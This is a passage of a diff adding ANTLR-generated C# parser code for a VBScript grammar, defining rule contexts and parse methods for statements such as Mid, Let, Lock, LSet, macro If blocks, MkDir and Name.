public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext[] argCall() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgCallContext argCall(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public MidStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_midStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMidStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMidStmt(this); + } + } + + [RuleVersion(0)] + public MidStmtContext midStmt() { + MidStmtContext _localctx = new MidStmtContext(Context, State); + EnterRule(_localctx, 134, RULE_midStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1499; + Match(MID); + State = 1501; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1500; + Match(WS); + } + } + + State = 1503; + Match(LPAREN); + State = 1505; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1504; + Match(WS); + } + } + + State = 1507; + ambiguousIdentifier(); + State = 1509; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1508; + Match(WS); + } + } + + State = 1511; + Match(COMMA); + State = 1513; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,207,Context) ) { + case 1: + { + State = 1512; + Match(WS); + } + break; + } + State = 1515; + argCall(); + State = 1517; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1516; + Match(WS); + } + } + + State = 1519; + Match(COMMA); + State = 1521; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,209,Context) ) { + case 1: + { + State = 1520; + Match(WS); + } + break; + } + State = 1523; + argCall(); + State = 1532; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,212,Context) ) { + case 1: + { + State = 1525; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1524; + Match(WS); + } + } + + State = 1527; + Match(COMMA); + State = 1529; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,211,Context) ) { + case 1: + { + State = 1528; + Match(WS); + } + break; + } + State = 1531; + argCall(); + } + break; + } + State = 1535; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1534; + Match(WS); + } + } + + State = 1537; + Match(RPAREN); + State = 1539; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1538; + Match(WS); + } + } + + State = 1541; + Match(EQ); + State = 1543; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,215,Context) ) { + case 1: + { + State = 1542; + Match(WS); + } + break; + } + State = 1545; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PLUS_EQ() { return GetToken(VBScriptParser.PLUS_EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MINUS_EQ() { return GetToken(VBScriptParser.MINUS_EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LET() { return GetToken(VBScriptParser.LET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public LetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_letStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLetStmt(this); + } + } + + [RuleVersion(0)] + public LetStmtContext letStmt() { + LetStmtContext _localctx = new LetStmtContext(Context, State); + EnterRule(_localctx, 136, RULE_letStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1549; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,216,Context) ) { + case 1: + { + State = 1547; + Match(LET); + State = 1548; + Match(WS); + } + break; + } + State = 1551; + implicitCallStmt_InStmt(); + State = 1553; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1552; + Match(WS); + } + } + + State = 1555; + _la = TokenStream.LA(1); + if ( !(((((_la - 188)) & ~0x3f) == 0 && ((1L << (_la - 188)) & 33793L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1557; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,218,Context) ) { + case 1: + { + State = 1556; + Match(WS); + } + break; + } + State = 1559; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LineInputStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LINE_INPUT() { return GetToken(VBScriptParser.LINE_INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + public LineInputStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lineInputStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLineInputStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLineInputStmt(this); + } + } + + [RuleVersion(0)] + public LineInputStmtContext lineInputStmt() { + LineInputStmtContext _localctx = new LineInputStmtContext(Context, State); + EnterRule(_localctx, 138, RULE_lineInputStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1561; + Match(LINE_INPUT); + State = 1562; + Match(WS); + State = 1563; + valueStmt(0); + State = 1565; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1564; + Match(WS); + } + } + + State = 1567; + Match(COMMA); + State = 1569; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,220,Context) ) { + case 1: + { + State = 1568; + Match(WS); + } + break; + } + State = 1571; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LoadStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOAD() { return GetToken(VBScriptParser.LOAD, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public LoadStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_loadStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLoadStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLoadStmt(this); + } + } + + [RuleVersion(0)] + public LoadStmtContext loadStmt() { + LoadStmtContext _localctx = new LoadStmtContext(Context, State); + EnterRule(_localctx, 140, RULE_loadStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1573; + Match(LOAD); + State = 1574; + Match(WS); + State = 1575; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK() { return GetToken(VBScriptParser.LOCK, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TO() { return GetToken(VBScriptParser.TO, 0); } + public LockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLockStmt(this); + } + } + + [RuleVersion(0)] + public LockStmtContext lockStmt() { + LockStmtContext _localctx = new LockStmtContext(Context, State); + EnterRule(_localctx, 142, RULE_lockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1577; + Match(LOCK); + State = 1578; + Match(WS); + State = 1579; + valueStmt(0); + State = 1594; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,224,Context) ) { + case 1: + { + State = 1581; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1580; + Match(WS); + } + } + + State = 1583; + Match(COMMA); + State = 1585; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,222,Context) ) { + case 1: + { + State = 1584; + Match(WS); + } + break; + } + State = 1587; + valueStmt(0); + State = 1592; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,223,Context) ) { + case 1: + { + State = 1588; + Match(WS); + State = 1589; + Match(TO); + State = 1590; + Match(WS); + State = 1591; + valueStmt(0); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class LsetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LSET() { return GetToken(VBScriptParser.LSET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public LsetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_lsetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterLsetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitLsetStmt(this); + } + } + + [RuleVersion(0)] + public LsetStmtContext lsetStmt() { + LsetStmtContext _localctx = new LsetStmtContext(Context, State); + EnterRule(_localctx, 144, RULE_lsetStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1596; + Match(LSET); + State = 1597; + Match(WS); + State = 1598; + implicitCallStmt_InStmt(); + State = 1600; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1599; + Match(WS); + } + } + + State = 1602; + Match(EQ); + State = 1604; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,226,Context) ) { + case 1: + { + State = 1603; + Match(WS); + } + break; + } + State = 1606; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfThenElseStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public MacroIfBlockStmtContext macroIfBlockStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_END_IF() { return GetToken(VBScriptParser.MACRO_END_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext[] macroElseIfBlockStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseIfBlockStmtContext macroElseIfBlockStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public MacroElseBlockStmtContext macroElseBlockStmt() { + return GetRuleContext(0); + } + public MacroIfThenElseStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfThenElseStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroIfThenElseStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroIfThenElseStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfThenElseStmtContext macroIfThenElseStmt() { + MacroIfThenElseStmtContext _localctx = new MacroIfThenElseStmtContext(Context, State); + EnterRule(_localctx, 146, RULE_macroIfThenElseStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1608; + macroIfBlockStmt(); + State = 1612; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==MACRO_ELSEIF) { + { + { + State = 1609; + macroElseIfBlockStmt(); + } + } + State = 1614; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + State = 1616; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==MACRO_ELSE) { + { + State = 1615; + macroElseBlockStmt(); + } + } + + State = 1618; + Match(MACRO_END_IF); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_IF() { return GetToken(VBScriptParser.MACRO_IF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroIfBlockStmtContext macroIfBlockStmt() { + MacroIfBlockStmtContext _localctx = new MacroIfBlockStmtContext(Context, State); + EnterRule(_localctx, 148, RULE_macroIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1620; + Match(MACRO_IF); + State = 1621; + Match(WS); + State = 1622; + ifConditionStmt(); + State = 1623; + Match(WS); + State = 1624; + Match(THEN); + State = 1626; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1625; + Match(NEWLINE); + } + } + State = 1628; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1636; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1630; + moduleBody(); + State = 1632; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1631; + Match(NEWLINE); + } + } + State = 1634; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseIfBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSEIF() { return GetToken(VBScriptParser.MACRO_ELSEIF, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public IfConditionStmtContext ifConditionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode THEN() { return GetToken(VBScriptParser.THEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroElseIfBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseIfBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroElseIfBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroElseIfBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseIfBlockStmtContext macroElseIfBlockStmt() { + MacroElseIfBlockStmtContext _localctx = new MacroElseIfBlockStmtContext(Context, State); + EnterRule(_localctx, 150, RULE_macroElseIfBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1638; + Match(MACRO_ELSEIF); + State = 1639; + Match(WS); + State = 1640; + ifConditionStmt(); + State = 1641; + Match(WS); + State = 1642; + Match(THEN); + State = 1644; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1643; + Match(NEWLINE); + } + } + State = 1646; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1654; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1648; + moduleBody(); + State = 1650; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1649; + Match(NEWLINE); + } + } + State = 1652; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MacroElseBlockStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MACRO_ELSE() { return GetToken(VBScriptParser.MACRO_ELSE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleBodyContext moduleBody() { + return GetRuleContext(0); + } + public MacroElseBlockStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_macroElseBlockStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMacroElseBlockStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMacroElseBlockStmt(this); + } + } + + [RuleVersion(0)] + public MacroElseBlockStmtContext macroElseBlockStmt() { + MacroElseBlockStmtContext _localctx = new MacroElseBlockStmtContext(Context, State); + EnterRule(_localctx, 152, RULE_macroElseBlockStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1656; + Match(MACRO_ELSE); + State = 1658; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1657; + Match(NEWLINE); + } + } + State = 1660; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 1668; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -248034361345L) != 0) || ((((_la - 128)) & ~0x3f) == 0 && ((1L << (_la - 128)) & 2891310960771857919L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1662; + moduleBody(); + State = 1664; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1663; + Match(NEWLINE); + } + } + State = 1666; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class MkdirStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode MKDIR() { return GetToken(VBScriptParser.MKDIR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS() { return GetToken(VBScriptParser.WS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public MkdirStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_mkdirStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterMkdirStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitMkdirStmt(this); + } + } + + [RuleVersion(0)] + public MkdirStmtContext mkdirStmt() { + MkdirStmtContext _localctx = new MkdirStmtContext(Context, State); + EnterRule(_localctx, 154, RULE_mkdirStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1670; + Match(MKDIR); + State = 1671; + Match(WS); + State = 1672; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class NameStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NAME() { return GetToken(VBScriptParser.NAME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + public NameStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_nameStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterNameStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitNameStmt(this); + } + } + + [RuleVersion(0)] + public NameStmtContext nameStmt() { + NameStmtContext _localctx = new NameStmtContext(Context, State); + EnterRule(_localctx, 156, RULE_nameStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1674; + Match(NAME); + State = 1675; + Match(WS); + State = 1676; + valueStmt(0); + State = 1677; + Match(WS); + State = 1678; + Match(AS); + State = 1679; + Match(WS); + State = 1680; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnErrorStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + 